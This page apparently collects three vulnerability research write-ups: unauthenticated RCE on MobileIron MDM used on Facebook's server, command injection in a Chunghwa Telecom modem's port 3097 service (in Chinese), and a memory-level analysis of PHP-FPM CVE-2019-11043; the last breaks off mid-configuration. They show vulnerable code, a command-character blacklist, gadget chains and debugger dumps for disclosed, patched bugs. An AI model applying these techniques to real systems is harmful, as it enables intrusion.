2020年9月12日 星期六

How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM

Author: Orange Tsai

This is a cross-post blog from DEVCORE中文版請參閱這裡

Hi, it’s a long time since my last article. This new post is about my research this March, which talks about how I found vulnerabilities on a leading Mobile Device Management product and bypassed several limitations to achieve unauthenticated RCE. All the vulnerabilities have been reported to the vendor and got fixed in June. After that, we kept monitoring large corporations to track the overall fixing progress and then found that Facebook didn’t keep up with the patch for more than 2 weeks, so we dropped a shell on Facebook and reported to their Bug Bounty program!

This research is also presented at HITCON 2020. You can check the slides HERE

As a Red Teamer, we are always looking for new paths to infiltrate the corporate network from outside. Just like our research in Black Hat USA last year, we demonstrated how leading SSL VPNs could be hacked and become your Virtual “Public” Network! SSL VPN is trusted to be secure and considered the only way to your private network. But, what if your trusted appliances are insecure?

Based on this scenario, we would like to explore new attack surfaces on enterprise security, and we get interested in MDM, so this is the article for that!

What is MDM?

Mobile Device Management, also known as MDM, is an asset assessment system that makes the employees’ BYOD more manageable for enterprises. It was proposed in 2012 in response to the increasing number of tablets and mobile devices. MDM can guarantee that the devices are running under the corporate policy and in a trusted environment. Enterprise could manage assets, install certificates, deploy applications and even lock/wipe devices remotely to prevent data leakage as well.

UEM (Unified Endpoint Management) is a newer term relevant to MDM which has a broader definition for managed devices. Following we use MDM to represent similar products!

Our target

MDM, as a centralized system, can manage and control all employees’ devices. It is undoubtedly an ideal asset assessment system for a growing company. Besides, MDM must be reachable publicly to synchronize devices all over the world. A centralized and public-exposing appliance, what could be more appealing to hackers?

Therefore, we have seen hackers and APT groups abusing MDM these years! Such as phishing victims to make MDM a C&C server of their mobile devices, or even compromising the corporate exposed MDM server to push malicious Trojans to all devices. You can read the report Malicious MDM: Let’s Hide This App by Cisco Talos team and First seen in the wild - Malware uses Corporate MDM as attack vector by CheckPoint CPR team for more details!

From previous cases, we know that MDM is a solid target for hackers, and we would like to do research on it. There are several MDM solutions, even famous companies such as Microsoft, IBM and Apple have their own MDM solution. Which one should we start with?

We have listed known MDM solutions and scanned corresponding patterns all over the Internet. We found that the most prevalent MDMs are VMware AirWatch and MobileIron!

So, why did we choose MobileIron as our target? According to their official website, more than 20,000 enterprises chose MobileIron as their MDM solution, and most of our customers are using that as well. We also know Facebook has exposed the MobileIron server since 2016. We have analyzed Fortune Global 500 as well, and found more than 15% using and exposing their MobileIron server to the public! Due to above reasons, it became our main target!

Where to Start

From past vulnerabilities, we learned there aren’t too many researchers diving into MobileIron. Perhaps the attack vector is still unknown. But we suspect the main reason is that the firmware is too hard to obtain. When researching an appliance, turning a pure BlackBox testing into GrayBox, or WhiteBox testing is vital. We spent lots of time searching for all kinds of information on the Internet, and ended up with an RPM package. This RPM file is supposed to be the developer’s testing package. The file is just sitting on a listable WebRoot and indexed by Google Search.

Anyway, we got a file to research. The released date of the file is in early 2018. It seems a little bit old but still better than nothing!

P.S. We have informed MobileIron and the sensitive files has been removed now.

Finding Vulnerabilities

After a painful time solving the dependency hell, we set the testing package up finally. The component is based on Java and exposed three ports:

  • 443 - the user enrollment interface
  • 8443 - the appliance management interface
  • 9997 - the MobileIron device synchronization protocol (MI Protocol)

All opened ports are TLS-encrypted. Apache is in the front of the web part and proxies all connections to backend, a Tomcat with Spring MVC inside.

Due to the Spring MVC, it’s hard to find traditional vulnerabilities like SQL Injection or XSS from a single view. Therefore, examining the logic and architecture is our goal this time!

Talking about the vulnerability, the root cause is straightforward. Tomcat exposed a Web Service that deserializes user input with Hessian format. However, this doesn’t mean we can do everything! The main effort of this article is to solve that, so please see the exploitation below.

Although we know the Web Service deserializes the user input, we can not trigger it. The endpoint is located on both:

  • User enrollment interface - https://mobileiron/mifs/services/
  • Management interface - https://mobileiron:8443/mics/services/

We can only touch the deserialization through the management interface because the user interface blocks the Web Service access. It’s a critical hit for us because most enterprises won’t expose their management interface to the Internet, and a management-only vulnerability is not useful to us so that we have to try harder. :(

Scrutinizing the architecture, we found Apache blocks our access through Rewrite Rules. It looks good, right?

RewriteRule ^/mifs/services/(.*)$ https://%{SERVER_NAME}:8443/mifs/services/$1 [R=307,L]
RewriteRule ^/mifs/services [F]

MobileIron relied on Apache Rewrite Rules to block all the access to Web Service. It’s in the front of a reverse-proxy architecture, and the backend is a Java-based web server.

Have you recalled something?

Yes, the Breaking Parser Logic! It’s the reverse proxy attack surface I proposed in 2015, and presented at Black Hat USA 2018. This technique leverage the inconsistency between the Apache and Tomcat to bypass the ACL control and reaccess the Web Service. BTW, this excellent technique is also applied to the recently F5 BIG-IP TMUI RCE vulnerability!


Exploiting Vulnerabilities

OK, now we have access to the deserialization wherever it’s on enrollment interface or management interface. Let’s go back to exploitations!

Moritz Bechler has an awesome research which summarized the Hessian deserialization vulnerability on his whitepaper, Java Unmarshaller Security. From the marshalsec source code, we learn the Hessian deserialization triggers the equals() and hashcode() while reconstructing a HashMap. It could also trigger the toString() through the XString, and the known exploit gadgets so far are:

  • Apache XBean
  • Caucho Resin
  • Spring AOP
  • ROME EqualsBean/ToStringBean

In our environment, we could only trigger the Spring AOP gadget chain and get a JNDI Injection.

Name Effect
x Apache XBean JNDI Injection
x Caucho Resin JNDI Injection
Spring AOP JNDI Injection
x ROME EqualsBean RCE

Once we have a JNDI Injection, the rest parts of exploitations are easy! We can just leverage Alvaro Muñoz and Oleksandr Mirosh’s work, A Journey From JNDI/LDAP to Remote Code Execution Dream Land, from Black Hat USA 2016 to get the code execution… Is that true?

Since Alvaro Muñoz and Oleksandr Mirosh introduced this on Black Hat, we could say that this technique helps countless security researchers and brings Java deserialization vulnerability into a new era. However, Java finally mitigated the last JNDI/LDAP puzzle in October 2018. After that, all java version higher than 8u181, 7u191, and 6u201 can no longer get code execution through JNDI remote URL-Class loading. Therefore, if we exploit the Hessian deserialization on the latest MobileIron, we must face this problem!

Java changed the default value of com.sun.jndi.ldap.object.trustURLCodebase to False to prevent attackers from downloading remote URL-Class to get code executions. But only this has been prohibited. We can still manipulate the JNDI and redirect the Naming Reference to a local Java Class!

The concept is a little bit similar to Return-Oriented Programming, utilizing a local existing Java Class to do further exploitations. You can refer to the article Exploiting JNDI Injections in Java by Michael Stepankin in early 2019 for details. It describes the attack on POST-JNDI exploitations and how to abuse the Tomcat’s BeanFactory to populate the ELProcessor gadget to get code execution. Based on this concept, researcher Welkin also provides another ParseClass gadget on Groovy. As described in his (Chinese) article:

除了 javax.el.ELProcessor,当然也还有很多其他的类符合条件可以作为 beanClass 注入到 BeanFactory 中实现利用。举个例子,如果目标机器 classpath 中有 groovy 的库,则可以结合之前 Orange 师傅发过的 Jenkins 的漏洞实现利用

It seems the Meta Programming exploitation in my previous Jenkins research could be used here as well. It makes the Meta Programming great again :D

The approach is fantastic and looks feasible for us. But both gadgets ELProcessor and ParseClass are unavailable due to our outdated target libraries. Tomcat introduced the ELProcessor since 8.5, but our target is 7. As for the Groovy gadget, the target Groovy version is too old (1.5.6 from 2008) to support the Meta Programming, so we still have to find a new gadget by ourselves. We found a new gadget on GroovyShell in the end. If you are interested, you can check the Pull Request I sent to the JNDI-Injection-Bypass project!

Attacking Facebook

Now we have a perfect RCE by chaining JNDI Injection, Tomcat BeanFactory and GroovyShell. It’s time to hack Facebook!

Aforementioned, we knew the Facebook uses MobileIron since 2016. Although the server’s index responses 403 Forbidden now, the Web Service is still accessible!

Everything is ready and wait for our exploit! However, several days before our scheduled attack, we realized that there is a critical problem in our exploit. From our last time popping shell on Facebook, we noticed it blocks outbound connections due to security concerns. The outbound connection is vital for JNDI Injection because the idea is to make victims connecting to a malicious server to do further exploitations. But now, we can’t even make an outbound connection, not to mention others.

So far, all attack surfaces on JNDI Injection have been closed, we have no choice but to return to Hessian deserialization. But due to the lack of available gadgets, we must discover a new one by ourselves!

Before discovering a new gadget, we have to understand the existing gadgets’ root cause properly. After re-reading Moritz Bechler’s paper, a certain word interested me:

Cannot restore Groovy’s MethodClosure as readResolve() is called which throws an exception.

A question quickly came up in my mind: Why did the author leave this word here? Although it failed with exceptions, there must have been something special so that the author write this down.

Our target is running with a very old Groovy, so we are guessing that the readResolve() constrain might not have been applied to the code base yet! We compared the file groovy/runtime/MethodClosure.java between the latest and 1.5.6.

$ diff 1_5_6/MethodClosure.java 3_0_4/MethodClosure.java

>     private Object readResolve() {
>         if (ALLOW_RESOLVE) {
>             return this;
>         }
>         throw new UnsupportedOperationException();
>     }

Yes, we are right. There is no ALLOW_RESOLVE in Groovy 1.5.6, and we later learned CVE-2015-3253 is just for that. It’s a mitigation for the rising Java deserialization vulnerability in 2015. Since Groovy is an internally used library, developers won’t update it if there is no emergency. The outdated Groovy could also be a good case study to demonstrated how a harmless component can leave you compromised!

Of course we got the shell on Facebook in the end. Here is the video:

Vulnerability Report and Patch

We have done all the research on March and sent the advisory to MobileIron at 4/3. The MobileIron released the patch on 6/15 and addressed three CVEs for that. You can check the official website for details!

  • CVE-2020-15505 - Remote Code Execution
  • CVE-2020-15506 - Authentication Bypass
  • CVE-2020-15507 - Arbitrary File Reading

After the patch has been released, we start monitoring the Internet to track the overall fixing progress. Here we check the Last-Modified header on static files so that the result is just for your information. (Unknown stands for the server closed both 443 and 8443 ports)

At the same time, we keep our attentions on Facebook as well. With 15 days no-patch confirm, we finally popped a shell and report to their Bug Bounty program at 7/2!


So far, we have demonstrated a completely unauthenticated RCE on MobileIron. From how we get the firmware, find the vulnerability, and bypass the JNDI mitigation and network limitation. There are other stories, but due to the time, we have just listed topics here for those who are interested:

  • How to take over the employees’ devices from MDM
  • Disassemble the MI Protocol
  • And the CVE-2020-15506, an interesting authentication bypass

I hope this article could draw attention to MDM and the importance of enterprise security! Thanks for reading. :D

2019年11月11日 星期一

你用它上網,我用它進你內網! 中華電信數據機遠端代碼執行漏洞

For non-native readers, this is a writeup of my DEVCORE Conference 2019 talk. Describe a misconfiguration that exposed a magic service on port 3097 on our country's largest ISP, and how we find RCE on that to affect more than 250,000 modems :P

大家好,我是 Orange! 這次的文章,是我在 DEVCORE Conference 2019 上所分享的議題,講述如何從中華電信的一個設定疏失,到串出可以掌控數十萬、甚至數百萬台的家用數據機漏洞!


身為 DEVCORE 的研究團隊,我們的工作就是研究最新的攻擊趨勢、挖掘最新的弱點、找出可以影響整個世界的漏洞,回報給廠商避免這些漏洞流至地下黑市被黑帽駭客甚至國家級駭客組織利用,讓這個世界變得更加安全!


漏洞挖掘並不像 Capture the Flag (CTF),一定存在著漏洞以及一個正確的解法等著你去解出,在題目的限定範圍下,只要根據現有的條件、線索去推敲出題者的意圖,十之八九可以找出問題點。 雖然還是有那種清新、優質、難到靠北的比賽例如 HITCON CTF 或是 Plaid CTF,不過 「找出漏洞」 與 「如何利用漏洞」在本質上已經是兩件不同的事情了!

CTF 很適合有一定程度的人精進自己的能力,但缺點也是如果經常在限制住的小框框內,思路及眼界容易被侷限住,真實世界的攻防往往更複雜、維度也更大! 要在一個成熟、已使用多年,且全世界資安人員都在關注的產品上挖掘出新弱點,可想而知絕對不是簡單的事! 一場 CTF 競賽頂多也就 48 小時,但在無法知道目標是否有漏洞的前提下,你能堅持多久?

在我們上一個研究中,發現了三個知名 SSL VPN 廠商中不用認證的遠端代碼執行漏洞,雖然成果豐碩,但也是花了整個研究組半年的時間(加上後續處理甚至可到一年),甚至在前兩個月完全是零產出、找不到漏洞下持續完成的。 所以對於一個好的漏洞研究人員,除了綜合能力、見識多寡以及能否深度挖掘外,還需要具備能夠獨立思考,以及興趣濃厚到耐得住寂寞等等特質,才有辦法在高難度的挑戰中殺出一條血路!

漏洞研究往往不是一間公司賺錢的項目,卻又是無法不投資的部門,有多少公司能夠允許員工半年、甚至一年去做一件不一定有產出的研究? 更何況是將研究成果無條件的回報廠商只是為了讓世界更加安全? 這也就是我們 DEVCORE 不論在滲透測試或是紅隊演練上比別人來的優秀的緣故,除了平日軍火庫的累積外,當遇到漏洞時,也會想盡辦法將這個漏洞的危害最大化,利用駭客思維、透過各種不同組合利用,將一個低風險漏洞利用到極致,這也才符合真實世界駭客對你的攻擊方式!


故事回到今年初的某天,我們 DEVCORE 的情資中心監控到全台灣有大量的網路地址開著 3097 連接埠,而且有趣的是,這些地址並不是什麼伺服器的地址,而是普通的家用電腦。 一般來說,家用電腦透過數據機連接上網際網路,對外絕不會開放任何服務,就算是數據機的 SSH 及 HTTP 管理介面,也只有內部網路才能訪問到,因此我們懷疑這與 ISP 的配置失誤有關! 我們也成功的在這個連接埠上挖掘出一個不用認證的遠端代碼執行漏洞! 打個比喻,就是駭客已經睡在你家客廳沙發的感覺!

  1. 竊聽網路流量,竊取網路身分、PTT 密碼,甚至你的信用卡資料
  2. 更新劫持、水坑式攻擊、內網中繼攻擊去控制你的電腦甚至個人手機
  3. 結合紅隊演練去繞過各種開發者的白名單政策
  4. 更多更多…
而相關的 CVE 漏洞編號為:

相較於以往對家用數據機的攻擊,這次的影響是更嚴重的! 以往就算漏洞再嚴重,只要家用數據機對外不開放任何連接埠,攻擊者也無法利用,但這次的漏洞包含中華電信的配置失誤,導致你家的數據機在網路上裸奔,攻擊者僅僅 「只要知道你的 IP 便可不需任何條件,直接進入你家內網」,而且,由於沒有數據機的控制權,所以這個攻擊一般用戶是無法防禦及修補的!

經過全網 IPv4 的掃瞄,全台灣約有 25 萬台的數據機存在此問題,「代表至少 25 萬個家庭受影響」,不過這個結果只在 「掃描當下有連上網路的數據機才被納入統計」,所以實際受害用戶一定大於這個數字!

而透過網路地址的反查,有高達九成的受害用戶是中華電信的動態 IP,而剩下的一成則包含固定制 IP 及其他電信公司,至於為何會有其他電信公司呢? 我們的理解是中華電信作為台灣最大電信商,所持有的資源以及硬體設施也是其他電信商遠遠不及的,因此在一些比較偏僻的地段可能其他電信商到使用者的最後一哩路也還是中華電信的設備! 由於我們不是廠商,無法得知完整受影響的數據機型號列表,但筆者也是受害者 ╮(╯_╰)╭,所以可以確定最多人使用的中華電信光世代 GPON 數據機 也在受影響範圍內!

( 圖片擷自網路)


只是一個配置失誤並不能說是什麼大問題,所以接下來我們希望能在這個服務上挖掘出更嚴重的漏洞! 軟體漏洞的挖掘,根據原始碼、執行檔以及 API 文件的有無可依序分為:
  • 黑箱測試
  • 灰箱測試
  • 白箱測試



3097 連接埠提供了許多跟電信網路相關的指令,推測是中華電信給工程師遠端對數據機進行各種網路設定的除錯介面!

其中,可以透過 HELP 指令列出所有功能,其中我們發現了一個指令叫做 MISC ,看名字感覺就是把一堆不知道怎麼分類的指令歸類在這,而其中一個叫做 SCRIPT 吸引了我們! 它的參數為一個檔案名稱,執行後像是會把檔案當成 Shell Script 來執行,但在無法在遠端機器留下一個可控檔案的前提下,也無法透過這個指令取得任意代碼執行。 不過有趣的是,MISC SCRIPT 這個指令會將 STDERR 給顯示出來,因此可以透過這個特性去完成任意檔案讀取!


在漏洞的利用上,無論是記憶體的利用、或是網路的滲透,不外乎都圍繞著對目標的讀(Read)、 寫(Write) 以及代碼執行(eXecute) 三個權限的取得,現在我們取得了第一個讀的權限,接下來呢?


透過對 root 使用者密碼雜湊的破解,我們成功的登入數據機 SSH 將「黑箱」轉化成「灰箱」! 雖然現在可以成功控制自己的數據機,但一般家用數據機對外是不會開放 SSH 服務的,為了達到可以「遠端」控制別人的數據機,我們還是得想辦法從 3097 這個服務拿到代碼的執行權限。

整個中華電信的數據機是一個跑在 MIPS 處理器架構上的嵌入式 Linux 系統,而 3097 服務則是由一個在 /usr/bin/omcimain 的二進位檔案來處理,整個檔案大小有將近 5MB,對逆向工程來說並不是一個小數目,但與黑箱測試相較之下,至少有了東西可以分析了,真棒!

$ uname -a
Linux I-040GW.cht.com.tw #1 PREEMPT Wed Jul 31 15:40:34 CST 2019
[luna SDK V1.8.0] rlx GNU/Linux

$ netstat -anp | grep 3097
tcp        0      0*               LISTEN

$ ls -lh /usr/bin/omcimain
-rwxr-xr-x    1 root   root        4.6M Aug  1 13:40 /usr/bin/omcimain

$ file /usr/bin/omcimain
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked


現在,我們可以透過逆向工程了解每個指令背後的原理及實作了! 不過首先,逆向工程是一個痛苦且煩悶的經過,一個小小的程式可能就包含幾萬、甚至十幾萬行的組合語言代碼,因此這時挖洞的策略就變得很重要! 從功能面來看,感覺會存在命令注入相關的漏洞,因此先以功能實作為出發點開始挖掘!

整個 3097 服務的處理核心其實就是一個多層的 IF-ELSE 選項,每一個小框框對應的一個功能的實作,例如 cli_config_cmdline 就是對應 CONFIG 這條指令,因此我們搭配著 HELP 指令的提示一一往每個功能實作挖掘!

研究了一段時間,並沒有發現到什麼嚴重漏洞 :( 不過我們注意到,當所有指命都匹配失敗時,會進入到了一個 with_fallback 的函數,這個函數的主要目的是把匹配失敗的指令接到 /usr/bin/diag 後繼續執行!

with_fallback 大致邏輯如下,由於當時 Ghidra 尚未出現,所以這份原始碼是從閱讀 MIPS 組合語言慢慢還原回來的! 其中 s1 為輸入的指令,如果指令不在定義好的列表內以及指令中出現問號的話,就與 /usr/bin/diag 拼湊起來丟入 system 執行! 理所當然,為了防止命令注入等相關弱點,在丟入 system 前會先根據 BLACKLISTS 的列表檢查是否存在有害字元。

  char *input = util_trim(s1);
  if (input[0] == '\0' || input[0] == '#')
      return 0;

  while (SUB_COMMAND_LIST[i] != 0) {
      sub_cmd = SUB_COMMAND_LIST[i++];
      if (strncmp(input, sub_cmd, strlen(sub_cmd)) == 0)

  if (SUB_COMMAND_LIST[i] == 0 && strchr(input, '?') == 0)
      return -10;

  // ...

  while (BLACKLISTS[i] != 0) {
      if (strchr(input, BLACKLISTS[i]) != 0) {
          util_fdprintf(fd, "invalid char '%c' in command\n", BLACKLISTS[i]);
          return -1;

  snprintf(file_buf,  64, "/tmp/tmpfile.%d.%06ld", getpid(), random() % 1000000);
  snprintf(cmd_buf, 1024, "/usr/bin/diag %s > %s 2>/dev/null", input, file_buf);


char *BLACKLISTS = "|<>(){}`;";


答案很簡單! 命令注入往往就是這麼的簡單且樸實無華!

這裡我們示範了如何從 PTT 知道受害者 IP 地址,到進入它數據機實現真正意義上的「指哪打哪」!



挖掘出新的漏洞,並不是一件容易的事,尤其是在各式攻擊手法又已趨於成熟的今天,要想出全新的攻擊手法更是難上加難! 在漏洞研究的領域上,台灣尚未擁有足夠的能量,如果平常的挑戰已經滿足不了你,想體驗真實世界的攻防,歡迎加入與我們一起交流蕉流 :D


  • 2019 å¹´ 07 月 28 日 - 透過 TWCERT/CC 回報中華電信
  • 2019 å¹´ 08 月 14 日 - 廠商回覆清查並修補設備中
  • 2019 å¹´ 08 月 27 日 - 廠商回覆九月初修補完畢
  • 2019 å¹´ 08 月 30 日 - 廠商回覆已完成受影響設備的韌體更新
  • 2019 å¹´ 09 月 11 日 - 廠商回覆部分用戶需派員更新, 延後公開時間
  • 2019 å¹´ 09 月 23 日 - 與 TWCERT/CC 確認可公開
  • 2019 å¹´ 09 月 25 日 - 發表至 DEVCORE Conference 2019
  • 2019 å¹´ 11 月 11 日 - 部落格文章釋出

2019年10月30日 星期三

An analysis and thought about recently PHP-FPM RCE(CVE-2019-11043)

First of all, this is such a really interesting bug! From a small memory defect to code execution. It combines both binary and web technique so that’s why it interested me to trace into. This is just a simple analysis, you can also check the bug report and the author neex’s exploit to know the original story :D

Originally, this write-up should be published earlier, but I am now traveling and don’t have enough time. Sorry for the delay :(

The root cause

PHP-FPM wrongly handles the PATH_INFO, which leads to a buffer underflow. Although it’s not vulnerable by default, there are still numerous vulnerable configurations that sysadmins would copy & paste from Google and StackOverflow.

When the fastcgi_split_path_info directive is parsing a URI with newline, the env_path_info becomes an empty value. And due to the cgi.fix_pathinfo, the empty value is used(fpm_main.c#L1151) to calculate the real path_info later.

    int ptlen = strlen(pt);
    int slen = len - ptlen;
    int pilen = env_path_info ? strlen(env_path_info) : 0;
    int tflag = 0;
    char *path_info;
    if (apache_was_here) {
        /* recall that PATH_INFO won't exist */
        path_info = script_path_translated + ptlen;
        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
    } else {
        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
        tflag = (orig_path_info != path_info);

Please note that the pilen is zero and slen is the original URI length minus the real file-path length, so there is a buffer underflow. path_info can point to somewhere before it should be.

The exploitation

With this buffer underflow, we have a limited(and small) buffer access. What can we do? The author leverages the fpm_main.c#L1161 to do further actions.

    path_info[0] = 0;

As the path_info points ahead of PATH_INFO, we can write a single null-byte to the position before path_info.

A. From null-byte writing to CGI environment overwritten

OK, now we can write a single null-byte to somewhere before PATH_INFO, and then?
In PHP-FPM, the CGI environments are stored in fcgi_data_seg structure, and managed by structure fcgi_hash.

typedef struct _fcgi_data_seg {
    char                  *pos;
    char                  *end;
    struct _fcgi_data_seg *next;
    char                   data[1];
} fcgi_data_seg;

typedef struct _fcgi_hash {
    fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
    fcgi_hash_bucket  *list;
    fcgi_hash_buckets *buckets;
    fcgi_data_seg     *data;
} fcgi_hash;

The fcgi_data_seg in memory looks like:

gdb-peda$ p *request.env.data
$3 = {
  pos = 0x556578555537 "7UUxeU",
  end = 0x5565785564d8 "",
  next = 0x556578554490,
  data = "P"

gdb-peda$ x/50s request.env.data.data
0x5565785544a8: "FCGI_ROLE"
0x5565785544b2: "RESPONDER"
0x5565785544bc: "SCRIPT_FILENAME"
0x5565785544cc: "/var/www/html/test.php"
0x5565785544e3: "QUERY_STRING"
0x5565785544f0: ""
0x5565785544f1: "REQUEST_METHOD"
0x556578554500: "GET"
0x556578554656: "SERVER_NAME"
0x556578554662: "_"
0x556578554664: "REDIRECT_STATUS"
0x556578554674: "200"
0x556578554678: "PATH_INFO"
0x556578554682: "/", 'a' <repeats 13 times>, ".php"    <--- the `path_info` points to
0x556578554695: "HTTP_HOST"
0x55657855469f: ""
The structure member fcgi_data_seg->pos points to the current buffer - fcgi_data_seg->data to let PHP-FPM know where to write, and fcgi_data_seg->end points to the buffer end. If the buffer reaches the end(pos > end). PHP-FPM creates a new buffer and moves the previous one to the structure member fcgi_data_seg->next.

So, the idea is to make path_info points to the location of fcgi_data_seg->pos. Once we achieve that, we can abuse the CGI environment management! For example, here we adjust the path_info points to the fcgi_data_seg->pos.

gdb-peda$ frame
#0  init_request_info () at /home/orange/php-src/sapi/fpm/fpm/fpm_main.c:1161
1161                         path_info[0] = 0;

gdb-peda$ x/xg path_info
0x5565785554c0: 0x0000556578555537

gdb-peda$ x/g request.env.data
0x5565785554c0: 0x0000556578555537

gdb-peda$ p (fcgi_data_seg)*request.env.data
$2 = {
  pos = 0x556578555537 "",
  end = 0x5565785564d8 "",
  next = 0x556578554490,
  data = "P"

gdb-peda$ x/15s (char **)request.env.data.data
0x5565785554d8: "PATH_INFO"
0x5565785554e2: ""
0x5565785554e3: "HTTP_HOST"
0x5565785554ed: ""
0x5565785554f7: "HTTP_ACCEPT_ENCODING"
0x55657855550c: 'A' <repeats 11 times>
0x556578555518: "HTTP_LAYS"
0x556578555522: "NOGG"
0x556578555527: "ORIG_PATH_INFO"
0x556578555536: ""
0x556578555537: ""                           <--- the original `request.env.data.pos`
0x556578555538: ""
0x556578555539: ""
0x55657855553a: ""
0x55657855553b: ""

This is the memory layout of request.env.data.

Once the line path_info[0] = 0; has been executed, the memory layout becomes:

As the request.env.data.pos has been written, and changed to a new location:

gdb-peda$ next

gdb-peda$ p (fcgi_data_seg)*request.env.data
$4 = {
  pos = 0x556578555500 "PT_ENCODING",
  end = 0x5565785564d8 "",
  next = 0x556578554490,
  data = "P"

gdb-peda$ x/10s (char **)request.env.data.pos
0x556578555500: "PT_ENCODING"
0x55657855550c: 'A' <repeats 11 times>
0x556578555518: "HTTP_LAYS"
0x556578555522: "NOGG"
0x556578555527: "ORIG_PATH_INFO"
0x556578555536: ""
0x556578555537: ""
0x556578555538: ""
0x556578555539: ""
0x55657855553a: ""

As you can see, the request.env.data.pos is shifted to the middle of an environment variable. The next time PHP-FPM put a new CGI environment, it will overwrite the existing one.

#define FCGI_PUTENV(request, name, value) \
 fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value)

char* fcgi_putenv(fcgi_request *req, char* var, int var_len, char* val)
 if (!req) return NULL;
 if (val == NULL) {
  fcgi_hash_del(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len);
  return NULL;
 } else {
  return fcgi_hash_set(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len, val, (unsigned int)strlen(val));

static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)

    unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
    fcgi_hash_bucket *p = h->hash_table[idx];

    // ...

    p->var = fcgi_hash_strndup(h, var, var_len);
    p->val_len = val_len;
    p->val = fcgi_hash_strndup(h, val, val_len);
    return p->val;

static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
    char *ret;

    // ...

    ret = h->data->pos;                             <--- we have corrupted the `pos` :D
    memcpy(ret, str, str_len);
    ret[str_len] = 0;
    h->data->pos += str_len + 1;
    return ret;

And it’s lucky, there is a FCGI_PUTENV right after the null-byte writing:

    old = path_info[0];
    path_info[0] = 0;
    if (!orig_script_name ||
        strcmp(orig_script_name, env_path_info) != 0) {
        if (orig_script_name) {
            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);        <--- here
        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
    } else {
        SG(request_info).request_uri = orig_script_name;
    path_info[0] = old;

It puts the name ORIG_SCRIPT_NAME and our controllable value into the CGI environments so that we can overwrite some important environments! …and then?

B. From CGI environment overwritten to Remote Code Execution

Now we can overwrite environments, how to turn it into the RCE?

After the null-byte writing, the PHP-FPM retrieves the environment PHP_VALUE to initial the PHP stuff. So that’s our target!

However, although we can overwrite the environment data. To forge the PHP_VALUE is still not easy. We can not just overwrite the existing environments key to PHP_VALUE and profit. After checking the source, we found the problem is PHP-FPM uses a hash table to manage environments. Without corrupting the table, we can’t insert a new environment!

PHP-FPM stores each environment variable in structure fcgi_hash_bucket.

typedef struct _fcgi_hash_bucket {
    unsigned int              hash_value;
    unsigned int              var_len;
    char                     *var;
    unsigned int              val_len;
    char                     *val;
    struct _fcgi_hash_bucket *next;
    struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;

There are also some checks before PHP-FPM retrieve the environment variable:

static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
    unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
    fcgi_hash_bucket *p = h->hash_table[idx];

    while (p != NULL) {
        if (p->hash_value == hash_value &&
            p->var_len == var_len &&
            memcmp(p->var, var, var_len) == 0) {
            *val_len = p->val_len;
            return p->val;
        p = p->next;
    return NULL;

PHP-FPM first retrieves the environment structure from the hash table, and then check the hash_value, var_len and content. We can forge the content, but how to forge the hash_value and var_len? OK, let’s do it!

The hash algorithm in PHP-FPM is simple.

#define FCGI_HASH_FUNC(var, var_len) \
    (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
        (((unsigned int)var[3]) << 2) + \
        (((unsigned int)var[var_len-2]) << 4) + \
        (((unsigned int)var[var_len-1]) << 2) + \

For the PHP_VALUE, its hash value is ('_'<<2) + ('U'<<4) + ('E'<<) + 9 = 2015. The author sends a HTTP header HTTP_EBUT, and its hash value is ('P'<<2) + ('U'<<4) + ('T'<<2) + 9 = 2015. The fake header has been stored in the hash table. Once we trigger the vulnerability and overwrite the HTTP_EBUT to PHP_VALUE, the forged one becomes valid! Both variables have the same hash_value and var_len, and now, they have the same key content!

We can create arbitrary PHP_VALUE now. To get code execution seems easy! The author create a series of PHP INI chains to get code execution.

var chain = []string{

Write a working exploit

OK, here we have all the details. However, it’s still hard to write the exploit. Although our steps are straightforward, there are still several obstacles making the exploit unstable and unexploitable… :(

A. The Nginx obstacle

The first obstacle is the Nginx configuration. As the PHP is an independent package from Nginx. To make the Nginx handle PHP scripts, there are many settings required in the configuration. Here we classified the configurations into 4 aspect.

  1. Is PATH_INFO supported?
    Because PATH_INFO is not a necessary feature. If there is no fastcgi_param PATH_INFO $blah; in Nginx configuration, you are safe!

  2. The PHP dispatcher
    In order to dispatch requests to PHP-FPM. Sysadmin must set a regular expression to match the URI. There are several ways to capture that, and the most common two situations are:

    1. The setting from Nginx official manual
      location ~ [^/]\.php(/|$) {
          # ...
    2. The default Nginx configuration snippet on current Linux dists
      location ~ \.php$ {
          # ...
    Both two ways are very common in the world. Although the meaning looks like the same, the exploitation is absolutely different! We will introduce this in next section.

  3. Is the file existed?
    The default Nginx configuration checks the file existence before sending it to PHP-FPM. You may see the following configuration:

    location ~ [^/]\.php(/|$) {
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        if (!-f $document_root$fastcgi_script_name) {
            return 404;

    location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        try_files $fastcgi_script_name =404;
    However, it’s still possible to be removed due to scalability or performance issues. For example, just imagine Nginx and PHP-FPM are not on the same server!

  4. The PATH_INFO sequential problem
    From the neex’s exploit, he adjust the buffer by increasing the length of QUERY_STRING. But what if the PATH_INFO comes before the QUERY_STRING? You can not control the PATH_INFO to the region you want. Actually, in my default installed Nginx on Ubuntu 18.04 and 16.04. The configuration looks like this:

    # ------------------------------------
    # /etc/nginx/sites-enabled/nginx.conf 
    location ~ \.php$ {
          include snippets/fastcgi-php.conf;
          # With php7.0-cgi alone:
          # With php7.0-fpm:
          fastcgi_pass unix:/run/php/php7.0-fpm.sock;
    # ------------------------------------
    # /etc/nginx/snippets/fastcgi-php.conf
